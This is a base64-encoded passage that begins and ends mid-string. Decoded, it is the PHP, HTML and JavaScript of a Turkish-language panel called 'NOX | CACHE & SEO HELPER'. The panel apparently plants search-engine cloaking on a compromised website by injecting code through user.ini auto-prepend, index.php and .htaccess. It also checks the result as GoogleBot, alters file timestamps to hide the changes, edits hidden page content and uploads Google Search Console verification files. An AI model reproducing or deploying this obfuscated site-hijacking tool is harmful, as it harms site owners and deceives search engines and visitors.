yO21hcmdpbjoxNnB4IDB9Ci5oaW50LXdhcm57Zm9udC1zaXplOjEycHg7cGFkZGluZzo4cHggMTJweDtib3JkZXItcmFkaXVzOjRweDttYXJnaW4tdG9wOjhweDtsaW5lLWhlaWdodDoxLjY7YmFja2dyb3VuZDojMWUxODBhO2JvcmRlci1sZWZ0OjNweCBzb2xpZCAjZmEwO2NvbG9yOiNmYTA7ZGlzcGxheTpub25lfQo8L3N0eWxlPgo8L2hlYWQ+PGJvZHk+Cgo8ZGl2IHN0eWxlPSJib3JkZXItdG9wOjFweCBzb2xpZCAjMGYzO21hcmdpbi1ib3R0b206MCI+PC9kaXY+CjxkaXYgc3R5bGU9ImRpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47ZmxleC13cmFwOndyYXA7Z2FwOjhweDtwYWRkaW5nOjEwcHggMCI+CiAgPGgxIHN0eWxlPSJtYXJnaW46MDtmb250LWZhbWlseTptb25vc3BhY2U7bGV0dGVyLXNwYWNpbmc6MXB4O2ZvbnQtc2l6ZToxN3B4O2ZvbnQtd2VpZ2h0OjcwMCI+Tk9YIDxzcGFuIHN0eWxlPSJjb2xvcjojMGYwO2ZvbnQtd2VpZ2h0OjcwMDtmb250LXNpemU6MTdweCI+fCBDQUNIRSAmYW1wOyBTRU8gSEVMUEVSPC9zcGFuPjwvaDE+CiAgPHNwYW4gaWQ9ImNsb2FrLXN0YXR1cyIgY2xhc3M9ImNsb2FrLXN0YXR1cyBjcy1jaGVja2luZyI+JiM5Njc5OyBLb250cm9sIGVkaWxpeW9yLi4uPC9zcGFuPgo8L2Rpdj4KPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzBmMzttYXJnaW4tYm90dG9tOjEwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJzdWIiPgogIDxzcGFuIGNsYXNzPSJjbXMtYmFkZ2UiPiYjOTY3MDsgPD89aHRtbHNwZWNpYWxjaGFycyhub3hfY21zX2xhYmVsKCRjbXMpKT8+PC9zcGFuPgogIDxzcGFuIGNsYXNzPSJzYXBpLWJhZGdlIj4mIzk2MzI7IDw/PWh0bWxzcGVjaWFsY2hhcnMoc3RydG91cHBlcigkc2FwaSkpPz4gfCBQSFAgPD89UEhQX01BSk9SX1ZFUlNJT04uJy4nLlBIUF9NSU5PUl9WRVJTSU9OPz48L3NwYW4+CiAgJm5ic3A7fCZuYnNwOyA8Pz1odG1sc3BlY2lhbGNoYXJzKCRESVIpPz4gJm5ic3A7fCZuYnNwOyA8YSBocmVmPSI/PD89JHBrPz4mYT1pbmZvIj5QSFAgSW5mbzwvYT4KPC9kaXY+Cgo8IS0tIER1cnVtIC0tPgo8ZGl2IGNsYXNzPSJjYXJkIj4KICA8aDM+RHVydW08L2gzPgogIDxkaXYgY2xhc3M9InNyIj4KICAgIDxzcGFuIGNsYXNzPSJkb3QgPD89JHByZXBlbmRFeGlzdHM/J29rJzond2Fybic/PiI+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9ImZsIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRmaWxlc1sncHJlcGVuZCddKT8+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9ImZzIj48Pz0kcHJlcGVuZEV4aXN0cz8iJHByZXBlbmRTeiBiYXl0Ijon4oCUIG1ldmN1dCBkZcSfaWwgKE9UTyBDTE9BSyBvbHXFn3R1cnVyKSDigJQnPz48L3NwYW4+CiAgPC9kaXY+CiAgPGRpdiBjbGFzcz0ic3IiPgogICAgPHNwYW4gY2xhc3M9ImRvdCA8Pz0kY29udGVudEV4aXN0cz8nb2snOid3YXJuJz8+Ij48L3NwYW4+CiAgICA8c3BhbiBjbGFzcz0iZmwiPjw/PWh0bWxzcGVjaWFsY2hhcnMoJGZpbGVzWydjb250ZW50J10pPz48L3NwYW4+CiAgICA8c3BhbiBjbGFzcz0iZnMiPjw/PSRjb250ZW50RXhpc3RzPyIkY29udGVudFN6IGJheXQiOifigJQgbWV2Y3V0IGRlxJ9pbCAoT1RPIENMT0FLIG9sdcWfdHVydXIpIOKAlCc/Pjwvc3Bhbj4KICAgIDw/cGhwIGlmKCRjb250ZW50RXhpc3RzKTo/PjxhIGhyZWY9Ij88Pz0kcGs/PiZhPXZpZXdwZXJkZSIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJjb2xvcjojMGNmO2ZvbnQtc2l6ZToxMXB4O21hcmdpbi1sZWZ0OjhweDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lIj5QZXJkZXlpIGfDtnLDvG50w7xsZTwvYT48P3BocCBlbmRpZjs/PgogIDwvZGl2PgogIDxkaXYgY2xhc3M9InNyIj4KICAgIDxzcGFuIGNsYXNzPSJkb3QgPD89ZmlsZV9leGlzdHMoJGlkeFBhdGgpPydvayc6J2Vycic/PiI+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9ImZsIj5pbmRleC5waHA8L3NwYW4+CiAgICA8c3BhbiBjbGFzcz0iZnMiPjw/PWZpbGVfZXhpc3RzKCRpZHhQYXRoKT8iJGlkeFN6IGJheXQiOifigJQgbWV2Y3V0IGRlxJ9pbCDigJQnPz48L3NwYW4+CiAgPC9kaXY+CiAgPGhyPgogIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwY2M7bWFyZ2luLWJvdHRvbTo2cHg7Zm9udC13ZWlnaHQ6Ym9sZCI+RW5qZWtzaXlvbiBWZWt0w7ZybGVyaTwvZGl2PgogIDxkaXYgY2xhc3M9InNyIj4KICAgIDxzcGFuIGNsYXNzPSJ2YmFkZ2UgPD89JHYxPyd2Yi1vayc6J3ZiLW5hJz8+Ij48Pz0kdjE/JyYjMTAwMDM7IEFLVMSwRic6JyYjOTcxMTsgUEFTxLBGJz8+PC9zcGFuPgogICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwZmYiPlYxOiB1c2VyLmluaSA8c3BhbiBzdHlsZT0iY29sb3I6IzU1NTtmb250LXNpemU6MTFweCI+4oCUIEZQTS9DR0kvTGl0ZVNwZWVkPC9zcGFuPjwvc3Bhbj4KICA8L2Rpdj4KICA8ZGl2IGNsYXNzPSJzciI+CiAgICA8c3BhbiBjbGFzcz0idmJhZGdlIDw/PSR2Mj8ndmItb2snOid2Yi1uYSc/PiI+PD89JHYyPycmIzEwMDAzOyBBS1TEsEYnOicmIzk3MTE7IFBBU8SwRic/Pjwvc3Bhbj4KICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6MTJweDtjb2xvcjojMGZmIj5WMjogaW5kZXgucGhwIDxzcGFuIHN0eWxlPSJjb2xvcjojNTU1O2ZvbnQtc2l6ZToxMXB4Ij7igJQgRXZyZW5zZWwgUEhQIGJsb8SfdTwvc3Bhbj48L3NwYW4+CiAgPC9kaXY+CiAgPGRpdiBjbGFzcz0ic3IiPgogICAgPHNwYW4gY2xhc3M9InZiYWRnZSA8Pz0kdjM/J3ZiLW9rJzooJGh0QXZhaWw/J3ZiLW5hJzondmItc2tpcCcpPz4iPjw/PSR2Mz8nJiMxMDAwMzsgQUtUxLBGJzooJGh0QXZhaWw/JyYjOTcxMTsgUEFTxLBGJzonJiM4MjEyOyBOL0EnKT8+PC9zcGFuPgogICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwZmYiPlYzOiAuaHRhY2Nlc3MgPHNwYW4gc3R5bGU9ImNvbG9yOiM1NTU7Zm9udC1zaXplOjExcHgiPuKAlCA8Pz0kaHRBdmFpbD8nbW9kX3BocCB0ZXNwaXQgZWRpbGRpJzonU2FkZWNlIG1vZF9waHAgKFNBUEk6ICcuJHNhcGkuJyknPz48L3NwYW4+PC9zcGFuPgogIDwvZGl2Pgo8P3BocCBmb3JlYWNoKCRnb29nbGVGaWxlcyBhcyAkZ2YpOiRnZlN6PW51bWJlcl9mb3JtYXQoQGZpbGVzaXplKCRESVIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZ2YpKTs/PgogIDxkaXYgY2xhc3M9InNyIiBzdHlsZT0ibWFyZ2luLXRvcDo0cHgiPgogICAgPHNwYW4gY2xhc3M9ImRvdCBvayI+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9ImZsIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRnZik/Pjwvc3Bhbj4KICAgIDxzcGFuIGNsYXNzPSJmcyI+PD89JGdmU3o/PiBiYXl0PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9InRhZyIgc3R5bGU9ImJhY2tncm91bmQ6IzA4Yztjb2xvcjojZmZmIj5HT09HTEU8L3NwYW4+CiAgICA8YSBocmVmPSIjIiBvbmNsaWNrPSJyZW1vdmVGaWxlKCc8Pz1odG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGdmKSk/PicpO3JldHVybiBmYWxzZSIgc3R5bGU9ImNvbG9yOiNmNjY7Zm9udC1zaXplOjExcHg7bWFyZ2luLWxlZnQ6NnB4Ij5TaWw8L2E+CiAgPC9kaXY+Cjw/cGhwIGVuZGZvcmVhY2g7Pz4KPC9kaXY+Cgo8IS0tIENsb2FrIMSwxZ9sZW1sZXJpIC0tPgo8ZGl2IGNsYXNzPSJjYXJkIj4KICA8aDM+Q2xvYWsgxLDFn2xlbWxlcmk8L2gzPgogIDxkaXYgY2xhc3M9ImJ0bi1yb3ciPgogICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1jbG9hayIgb25jbGljaz0iYXV0b2Nsb2FrKCkiPk9UTyBDTE9BSyBBVDwvYnV0dG9uPgogICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1jaGVjayIgb25jbGljaz0iYm90Y2hlY2soKSI+R29vZ2xlQm90IGlsZSBLb250cm9sIEV0PC9idXR0b24+CiAgPC9kaXY+CiAgPGRpdiBjbGFzcz0iYnRuLXJvdyIgc3R5bGU9Im1hcmdpbi10b3A6MTBweCI+CiAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXJldmVydCIgb25jbGljaz0icmV2ZXJ0KCkiPkNsb2FrIEthbGTEsXI8L2J1dHRvbj4KICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tY2FjaGUiIG9uY2xpY2s9ImNsZWFyY2FjaGUoKSI+Q2FjaGUgVGVtaXpsZTwvYnV0dG9uPgogICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi10cyIgb25jbGljaz0iZml4dGltZXN0YW1wKCkiPlRpbWVzdGFtcCBEw7x6ZWx0PC9idXR0b24+CiAgICA8YnV0dG9uIGNsYXNzPSJidG4iIHN0eWxlPSJiYWNrZ3JvdW5kOiMyYTFhM2E7Y29sb3I6I2M5Zjtib3JkZXI6MXB4IHNvbGlkICM5M2YiIG9uY2xpY2s9ImdzY1JpY2hUZXN0KCkiPlplbmdpbiBTb251w6dsYXIgVGVzdGk8L2J1dHRvbj4KICA8L2Rpdj4KICA8ZGl2IGlkPSJoaW50LXVpIiBjbGFzcz0iaGludC13YXJuIj4mIzk4ODg7IHVzZXIuaW5pIHZla3TDtnLDvCBla2xlbmRpLiBQSFAtRlBNIGNhY2hlIG5lZGVuaXlsZSB+NSBkYWtpa2EgacOnaW5kZSBha3RpZiBvbHVyLiBpbmRleC5waHAgdmVrdMO2csO8IGFuxLFuZGEgw6dhbMSxxZ/EsXIuPC9kaXY+CiAgPGRpdiBjbGFzcz0ibXNnIiBpZD0iY21zZyI+PC9kaXY+CiAgPGRpdiBpZD0iY2NyZXN1bHQiIHN0eWxlPSJkaXNwbGF5Om5vbmU7bWFyZ2luLXRvcDoxMHB4Ij4KICAgIDxkaXYgc3R5bGU9ImNvbG9yOiMwZmY7Zm9udC1zaXplOjEycHg7bWFyZ2luLWJvdHRvbTo2cHg7Zm9udC13ZWlnaHQ6Ym9sZCI+Q2FjaGUgVGVtaXpsZW1lIFJhcG9ydTwvZGl2PgogICAgPGRpdiBpZD0iY2Nyb3dzIj48L2Rpdj4KICA8L2Rpdj4KICA8ZGl2IGlkPSJ0c3Jlc3VsdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tdG9wOjEwcHgiPgogICAgPGRpdiBzdHlsZT0iY29sb3I6I2M4YTBmZjtmb250LXNpemU6MTJweDttYXJnaW4tYm90dG9tOjZweDtmb250LXdlaWdodDpib2xkIj5UaW1lc3RhbXAgUmFwb3J1PC9kaXY+CiAgICA8ZGl2IGlkPSJ0c3Jvd3MiPjwvZGl2PgogIDwvZGl2PgogIDxkaXYgY2xhc3M9Im1zZyIgaWQ9ImJjbXNnIj48L2Rpdj4KICA8ZGl2IGlkPSJiY3Jlc3VsdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tdG9wOjEwcHgiPgogICAgPGRpdiBpZD0iYmNiYWRnZSIgc3R5bGU9Im1hcmdpbi1ib3R0b206OHB4Ij48L2Rpdj4KICAgIDxkaXYgaWQ9ImJjbWV0YSIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4O2NvbG9yOiM4ODg7bWFyZ2luLWJvdHRvbTo2cHgiPjwvZGl2PgogICAgPGRldGFpbHM+CiAgICAgIDxzdW1tYXJ5IHN0eWxlPSJmb250LXNpemU6MTJweDtjb2xvcjojNTU1O2N1cnNvcjpwb2ludGVyIj5ZYW7EsXQgw7ZuaXpsZW1lc2kgKGhhbSBIVE1MKTwvc3VtbWFyeT4KICAgICAgPHByZSBpZD0iYmNwcmV2aWV3IiBzdHlsZT0iYmFja2dyb3VuZDojMGExMjI4O2JvcmRlcjoxcHggc29saWQgIzIyMjtwYWRkaW5nOjhweDtmb250LXNpemU6MTFweDtjb2xvcjojYWRmO292ZXJmbG93LXg6YXV0bzt3aGl0ZS1zcGFjZTpwcmUtd3JhcDttYXJnaW46NnB4IDA7bWF4LWhlaWdodDoyNDBweDtvdmVyZmxvdy15OmF1dG8iPjwvcHJlPgogICAgPC9kZXRhaWxzPgogIDwvZGl2Pgo8L2Rpdj4KCjwhLS0gSFRNTCBEw7x6ZW5sZXlpY2kgLS0+CjxkaXYgY2xhc3M9ImNhcmQiPgogIDxoMyBzdHlsZT0ibWFyZ2luLWJvdHRvbTo4cHgiPlBlcmRlIMSww6dlcmnEn2k8L2gzPgogIDxkaXYgY2xhc3M9Im5vdGUiIHN0eWxlPSJjb2xvcjojNjY2O21hcmdpbi1ib3R0b206NnB4O2ZvbnQtc2l6ZToxMXB4Ij5IZWRlZjogPGNvZGU+PD89aHRtbHNwZWNpYWxjaGFycygkZmlsZXNbJ2NvbnRlbnQnXSk/PjwvY29kZT48L2Rpdj4KICA8ZGl2IGlkPSJodG1sLW5vbXNnIiBzdHlsZT0iZGlzcGxheTpub25lO3BhZGRpbmc6MTBweCAxMnB4O2NvbG9yOiNmYTA7Zm9udC1zaXplOjEzcHg7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICNmYTA7YmFja2dyb3VuZDojMWUxODBhO21hcmdpbi1ib3R0b206OHB4O2JvcmRlci1yYWRpdXM6M3B4Ij7imqAgSGVuw7x6IHBlcmRlIGnDp2VyacSfaSBvbHXFn3R1cnVsbWFtxLHFny4gQcWfYcSfxLF5YSBIVE1MIHlhesSxcCBrYXlkZWRpbi48L2Rpdj4KICA8dGV4dGFyZWEgaWQ9Imh0bWxjb250ZW50IiBwbGFjZWhvbGRlcj0iWcO8a2xlbml5b3IuLi4iPjwvdGV4dGFyZWE+CiAgPGRpdiBjbGFzcz0idG9vbGJhciIgc3R5bGU9Im1hcmdpbi10b3A6NnB4Ij4KICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tY2hlY2siIG9uY2xpY2s9InNhdmVIdG1sKCkiPktheWRldDwvYnV0dG9uPgogICAgPHNwYW4gY2xhc3M9Im1zZyIgaWQ9Imhtc2ciPjwvc3Bhbj4KICA8L2Rpdj4KPC9kaXY+Cgo8IS0tIEdvb2dsZSBEb8SfcnVsYW1hIC0tPgo8ZGl2IGNsYXNzPSJjYXJkIj4KICA8aDM+R29vZ2xlIFNlYXJjaCBDb25zb2xlIERvxJ9ydWxhbWE8L2gzPgogIDxkaXYgY2xhc3M9Im5vdGUiPlNhZGVjZSBHb29nbGUnxLFuIHZlcmRpxJ9pIDxiPmdvb2dsZeKApi5odG1sPC9iPiBkb3N5YXPEsW7EsSB5w7xrbGV5aW4uIERvc3lhIGFkxLEgPGNvZGU+Z29vZ2xlPC9jb2RlPiBpbGUgYmHFn2xhbWFsxLEsIDxjb2RlPi5odG1sPC9jb2RlPiBpbGUgYml0bWVsaSB2ZSB5YWxuxLF6Y2EgaGFyZi9yYWthbSBpw6dlcm1lbGlkaXIuIMSww6dlcmlrIHlhbG7EsXpjYSA8Y29kZT5nb29nbGUtc2l0ZS12ZXJpZmljYXRpb246IFRPS0VOPC9jb2RlPiBzYXTEsXLEsSBvbG1hbMSxZMSxci48L2Rpdj4KICA8ZGl2IHN0eWxlPSJtYXJnaW46OHB4IDAiPgogICAgPGRpdiBjbGFzcz0ibm90ZSIgc3R5bGU9ImNvbG9yOiMwZmYiPkRvc3lhIGFkxLEgKMO2ci4gPGNvZGU+Z29vZ2xlMDg1NTE3Njc1NzQ5ZDZmZS5odG1sPC9jb2RlPik6PC9kaXY+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImduYW1lIiBwbGFjZWhvbGRlcj0iZ29vZ2xl4oCmLmh0bWwiPgogIDwvZGl2PgogIDxkaXY+CiAgICA8ZGl2IGNsYXNzPSJub3RlIiBzdHlsZT0iY29sb3I6IzBmZiI+RG9zeWEgacOnZXJpxJ9pOjwvZGl2PgogICAgPGlucHV0IHR5cGU9InRleHQiIGlkPSJnY29udGVudCIgcGxhY2Vob2xkZXI9Imdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbjogVE9LRU5fREVHRVJJIj4KICA8L2Rpdj4KICA8ZGl2IGNsYXNzPSJ0b29sYmFyIj4KICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tY2hlY2siIG9uY2xpY2s9InVwbG9hZEdvb2dsZSgpIj5Zw7xrbGU8L2J1dHRvbj4KICAgIDxzcGFuIGNsYXNzPSJtc2ciIGlkPSJnbXNnIj48L3NwYW4+CiAgPC9kaXY+CjwvZGl2PgoKCgo8c2NyaXB0Pgp2YXIgUEs9PD89anNvbl9lbmNvZGUoJ3A9Jy5yYXd1cmxlbmNvZGUoJF9ucCkpPz47CnZhciBHT09HTEVfUlg9L15nb29nbGVbYS16QS1aMC05XStcLmh0bWwkLzsKdmFyIENPTlRFTlRfRklMRT08Pz1qc29uX2VuY29kZSgkZmlsZXNbJ2NvbnRlbnQnXSk/PjsKCmZ1bmN0aW9uIF9zZXRDbG9ha1N0YXR1cyhzdGF0ZSl7CiAgdmFyIGVsPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbG9hay1zdGF0dXMnKTtpZighZWwpcmV0dXJuOwogIHZhciBtYXA9ewogICAgY2hlY2tpbmc6e2NsczonY3MtY2hlY2tpbmcnLHR4dDonJiM5Njc5OyBLb250cm9sIGVkaWxpeW9yLi4uJ30sCiAgICBhdGlsbWFtaXM6e2NsczonY3MtYXRpbG1hbWlzJyx0eHQ6JyYjOTY3OTsgQ2xvYWtpbmcgQXTEsWxtYW3EscWfJ30sCiAgICBwYXNpZjp7Y2xzOidjcy1wYXNpZicsdHh0OicmIzk2Nzk7IENsb2FraW5nOiBQYXNpZid9LAogICAgYWt0aWY6e2NsczonY3MtYWt0aWYnLHR4dDonJiM5Njc5OyBDbG9ha2luZzogQWt0aWYnfQogIH07CiAgdmFyIG09bWFwW3N0YXRlXXx8bWFwLmF0aWxtYW1pczsKICBlbC5jbGFzc05hbWU9J2Nsb2FrLXN0YXR1cyAnK20uY2xzO2VsLmlubmVySFRNTD1tLnR4dDsKfQoKZnVuY3Rpb24gX2NoZWNrQ2xvYWtBY3RpdmUoKXsKICBfc2V0Q2xvYWtTdGF0dXMoJ2NoZWNraW5nJyk7CiAgdmFyIHg9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7eC5vcGVuKCJHRVQiLCI/IitQSysiJmE9Y2hlY2tjbG9hayZfPSIrRGF0ZS5ub3coKSk7eC5zZXRSZXF1ZXN0SGVhZGVyKCJDYWNoZS1Db250cm9sIiwibm8tY2FjaGUiKTsKICB4Lm9ubG9hZD1mdW5jdGlvbigpe3RyeXt2YXIgcj1KU09OLnBhcnNlKHgucmVzcG9uc2VUZXh0KTtfc2V0Q2xvYWtTdGF0dXMoci5hY3RpdmU/J2FrdGlmJzooci5pbnN0YWxsZWQ/J3Bhc2lmJzonYXRpbG1hbWlzJykpO31jYXRjaChlKXtfc2V0Q2xvYWtTdGF0dXMoJ2F0aWxtYW1pcycpO319OwoKICB4Lm9uZXJyb3I9ZnVuY3Rpb24oKXtfc2V0Q2xvYWtTdGF0dXMoJ2F0aWxtYW1pcycpO307eC5zZW5kKCk7Cn0Kd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLGZ1bmN0aW9uKCl7X2NoZWNrQ2xvYWtBY3RpdmUoKTt9KTsKCmZ1bmN0aW9uIGRlY29kZUI2NCh4aHIpewogIHZhciBlbmM9KHhoci5nZXRSZXNwb25zZUhlYWRlcigiWC1Cb2R5LUVuY29kaW5nIil8fCIiKS50b0xvd2VyQ2FzZSgpOwogIGlmKGVuYyE9PSJiYXNlNjQiKXJldHVybiB4aHIucmVzcG9uc2VUZXh0OwogIHRyeXt2YXIgYmluPWF0b2IoeGhyLnJlc3BvbnNlVGV4dC5yZXBsYWNlKC9ccysvZywiIikpO3ZhciBieXRlcz1uZXcgVWludDhBcnJheShiaW4ubGVuZ3RoKTtmb3IodmFyIGk9MDtpPGJpbi5sZW5ndGg7aSsrKWJ5dGVzW2ldPWJpbi5jaGFyQ29kZUF0KGkpO3JldHVybiBuZXcgVGV4dERlY29kZXIoInV0Zi04IikuZGVjb2RlKGJ5dGVzKTt9CiAgY2F0Y2goZSl7cmV0dXJuICLDh8O2em1lIGhhdGFzxLE6ICIrZS5tZXNzYWdlO30KfQoKZnVuY3Rpb24gc2V0TXNnKGlkLHRleHQsdHlwZSl7dmFyIGVsPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTtpZighZWwpcmV0dXJuO2VsLnRleHRDb250ZW50PXRleHQ7ZWwuY2xhc3NOYW1lPSJtc2cgIisodHlwZXx8ImluZm8iKTt9CgpmdW5jdGlvbiBhdXRvY2xvYWsoKXsKICBzZXRNc2coImNtc2ciLCLEsMWfbGVuaXlvci4uLiIsImluZm8iKTsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGludC11aSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiOwogIHZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiUE9TVCIsIj8iK1BLKTt4LnNldFJlcXVlc3RIZWFkZXIoIkNhY2hlLUNvbnRyb2wiLCJuby1jYWNoZSIpO3guc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgeC5vbmxvYWQ9ZnVuY3Rpb24oKXsKICAgIHRyeXsKICAgICAgdmFyIHI9SlNPTi5wYXJzZSh4LnJlc3BvbnNlVGV4dCk7CiAgICAgIHZhciBvaz10cnVlO3ZhciBwYXJ0cz1bXTsKICAgICAgdmFyIGtleXM9Wydjb250ZW50JywncHJlcGVuZCcsJ3VzZXJfaW5pJywnaW5kZXgnLCdodGFjY2VzcyddOwogICAgICBrZXlzLmZvckVhY2goZnVuY3Rpb24oayl7CiAgICAgICAgaWYoIXJba10pcmV0dXJuOwogICAgICAgIHZhciBzPXJba10ucyxtPXJba10ubTsKICAgICAgICBpZihzPT09J2Vycicpe29rPWZhbHNlO30KICAgICAgICBwYXJ0cy5wdXNoKGsrJzogJytzLnRvVXBwZXJDYXNlKCkrKG0/JyAoJyttKycpJzonJykpOwogICAgICB9KTsKICAgICAgc2V0TXNnKCJjbXNnIixwYXJ0cy5qb2luKCcgfCAnKSxvaz8ib2siOiJlcnIiKTsKICAgICAgaWYoci51c2VyX2luaSYmci51c2VyX2luaS5zPT09J29rJyYmKCFyLmluZGV4fHxyLmluZGV4LnMhPT0nb2snKSl7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhpbnQtdWkiKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7CiAgICAgIH0KICAgICAgX3NldENsb2FrU3RhdHVzKCdwYXNpZicpOwogICAgICBfY2hlY2tDbG9ha0FjdGl2ZSgpOwogICAgICBpZihvayl7c2V0VGltZW91dChmdW5jdGlvbigpe2JvdGNoZWNrKHRydWUpO30sODAwKTt9CiAgICB9Y2F0Y2goZSl7c2V0TXNnKCJjbXNnIiwiSGF0YTogIit4LnJlc3BvbnNlVGV4dCwiZXJyIik7fQogIH07CiAgeC5vbmVycm9yPWZ1bmN0aW9uKCl7c2V0TXNnKCJjbXNnIiwiQcSfIGhhdGFzxLEiLCJlcnIiKTt9O3guc2VuZCgiYT1hdXRvY2xvYWsiKTsKfQoKZnVuY3Rpb24gcmV2ZXJ0KCl7CiAgaWYoIWNvbmZpcm0oIkNsb2FraW5nIGRldnJlIGTEscWfxLEgYsSxcmFrxLFsc8SxbiBtxLE/XG5yZW5kZXIubG9jayBzaWxpbmVjZWsg4oCUIHZla3TDtnJsZXIgeWVyaW5kZSBrYWzEsXIuXG5UZWtyYXIgYWt0aWYgZXRtZWsgacOnaW4gQ2xvYWsgQXQnYSBiYXPEsW4uIikpcmV0dXJuOwogIHNldE1zZygiY21zZyIsIkthbGTEsXLEsWzEsXlvci4uLiIsImluZm8iKTsKICB2YXIgeD1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4Lm9wZW4oIlBPU1QiLCI/IitQSyk7eC5zZXRSZXF1ZXN0SGVhZGVyKCJDYWNoZS1Db250cm9sIiwibm8tY2FjaGUiKTt4LnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogIHgub25sb2FkPWZ1bmN0aW9uKCl7CiAgICB0cnl7CiAgICAgIHZhciByPUpTT04ucGFyc2UoeC5yZXNwb25zZVRleHQpOwogICAgICB2YXIgcz1yLmxvY2s/ci5sb2NrLnM6J2Vycic7dmFyIG09ci5sb2NrP3IubG9jay5tOidZYW7EsXQgYm/Fnyc7CiAgICAgIHNldE1zZygiY21zZyIsImxvY2s6ICIrKHM9PT0nb2snPydEZXZyZSBkxLHFn8SxJzpzPT09J25hJz8nTi9BJzonSEFUQScpKyhtPycgKCcrbSsnKSc6JycpLHM9PT0nZXJyJz8iZXJyIjoib2siKTsKICAgICAgX3NldENsb2FrU3RhdHVzKCdwYXNpZicpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoaW50LXVpIikuc3R5bGUuZGlzcGxheT0ibm9uZSI7CiAgICB9Y2F0Y2goZSl7c2V0TXNnKCJjbXNnIiwiWWFuxLF0IGhhdGFzxLE6ICIreC5yZXNwb25zZVRleHQsImVyciIpO30KICB9OwogIHgub25lcnJvcj1mdW5jdGlvbigpe3NldE1zZygiY21zZyIsIkHEnyBoYXRhc8SxIiwiZXJyIik7fTt4LnNlbmQoImE9cmV2ZXJ0Iik7Cn0KCmZ1bmN0aW9uIGVuYyhzKXt2YXIgYj1idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChzKSkpO3JldHVybiBlbmNvZGVVUklDb21wb25lbnQoYi5yZXBsYWNlKC9cKy9nLCItIikucmVwbGFjZSgvXC8vZywiXyIpLnJlcGxhY2UoLz0rJC8sIiIpKTt9CmZ1bmN0aW9uIHRvSGV4KHN0cil7dmFyIGJ5dGVzPW5ldyBUZXh0RW5jb2RlcigpLmVuY29kZShzdHIpLGg9IiI7Zm9yKHZhciBpPTA7aTxieXRlcy5sZW5ndGg7aSsrKWgrPSgiMCIrYnl0ZXNbaV0udG9TdHJpbmcoMTYpKS5zbGljZSgtMik7cmV0dXJuIGg7fQoKKGZ1bmN0aW9uKCl7CiAgdmFyIHg9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7eC5vcGVuKCJHRVQiLCI/IitQSysiJmE9cmF3JmI9IitlbmMoQ09OVEVOVF9GSUxFKSsiJl89IitEYXRlLm5vdygpKTt4LnNldFJlcXVlc3RIZWFkZXIoIkNhY2hlLUNvbnRyb2wiLCJuby1jYWNoZSIpOwogIHgub25sb2FkPWZ1bmN0aW9uKCl7CiAgICB2YXIgdGV4dD14LnN0YXR1cz09PTIwMD94LnJlc3BvbnNlVGV4dC50cmltKCk6Jyc7CiAgICB2YXIgY29udGVudD0nJzsKICAgIGlmKHRleHQpe3RyeXt2YXIgYmluPWF0b2IodGV4dC5yZXBsYWNlKC9ccysvZywiIikpO3ZhciBieXRlcz1uZXcgVWludDhBcnJheShiaW4ubGVuZ3RoKTtmb3IodmFyIGk9MDtpPGJpbi5sZW5ndGg7aSsrKWJ5dGVzW2ldPWJpbi5jaGFyQ29kZUF0KGkpO2NvbnRlbnQ9bmV3IFRleHREZWNvZGVyKCJ1dGYtOCIpLmRlY29kZShieXRlcyk7fWNhdGNoKGUpe2NvbnRlbnQ9Jyc7fX0KICAgIGlmKGNvbnRlbnQ9PT0nJyl7CiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJodG1sLW5vbXNnIikuc3R5bGUuZGlzcGxheT0iYmxvY